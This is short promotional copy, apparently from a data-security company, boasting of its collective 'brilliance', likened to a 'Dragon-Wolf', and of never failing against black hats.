A trade of brilliance, data security is an industry where only the clearest view, sharpest mind and deepest insight can win – a game with zero margin of error. Our job is to win every single time, one thousand times out of one thousand, and one million times out of one million.

And we do. We outsmart the industry not only by having the clearest view, the sharpest mind and the deepest insight, but by staying one step ahead of everybody else, be they black hats or fellow security experts. The brilliance of our collective mind is like a luminous Dragon-Wolf on your side, powered by engineered intuition, created to guard against all dangers hidden in the arcane intricacies of the digital realm.

This brilliance is our superpower and we put it at the core of all our game-changing products and solutions.